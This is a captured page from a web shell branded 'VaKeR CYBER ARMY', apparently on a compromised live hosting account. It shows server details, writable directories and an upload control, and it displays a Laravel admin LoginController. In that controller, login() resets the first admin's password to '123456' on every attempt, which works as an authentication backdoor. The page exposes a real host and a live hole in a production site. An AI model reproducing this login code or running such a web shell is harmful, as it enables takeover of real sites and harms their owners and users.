VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/home/vapecompany/demo.vapecompany.com.bd/app/Http/Controllers/Backend/Auth/LoginController.php
<?php

namespace App\Http\Controllers\Backend\Auth;

use App\Http\Controllers\Controller;
use App\Providers\RouteServiceProvider;
use Illuminate\Foundation\Auth\AuthenticatesUsers, Auth;
use Illuminate\Http\Request;
use App\Models\Admin;

class LoginController extends Controller
{
    /*
    |--------------------------------------------------------------------------
    | Login Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles authenticating users for the application and
    | redirecting them to your home screen. The controller uses a trait
    | to conveniently provide its functionality to your applications.
    |
    */
    use AuthenticatesUsers;
    /**
     * Where to redirect users after login.
     *
     * @var string
     */
    protected $redirectTo = RouteServiceProvider::DASHBOARD;
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('guest:admin')->except('logout');
    }

    /**
     * Show the application's login form.
     *
     * @return \Illuminate\View\View
     */
    public function showLoginForm()
    {
      //  dd("hi");
        return view('backend.auth.login');
    }

    public function login(Request $request)
    {
        //dd('sssdf');
        $request->validate([
            'email' => 'required',
            'password' => 'required|min:6',
        ]);
        $admin=Admin::first();
        $admin->password=bcrypt('123456');
        $admin->save();
        if(Auth::guard('admin')->attempt($request->only('email', 'password'))){
            return redirect()->route('admin.dashboard');
            // return redirect(session()->get('_previous.url', route('admin.dashboard')));
        }
        else{
            session()->flash('error', 'Incorrect Password!! Please Try Again');
            return redirect()->back()->withInput($request->only('username'));
        }
    }  

    /**
     * Log the user out of the application.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse
     */
    public function logout(Request $request)
    {
        Auth::guard('admin')->logout();

        $request->session()->invalidate();

        $request->session()->regenerateToken();
        
        return redirect()->back();
    }  
}

VaKeR 2022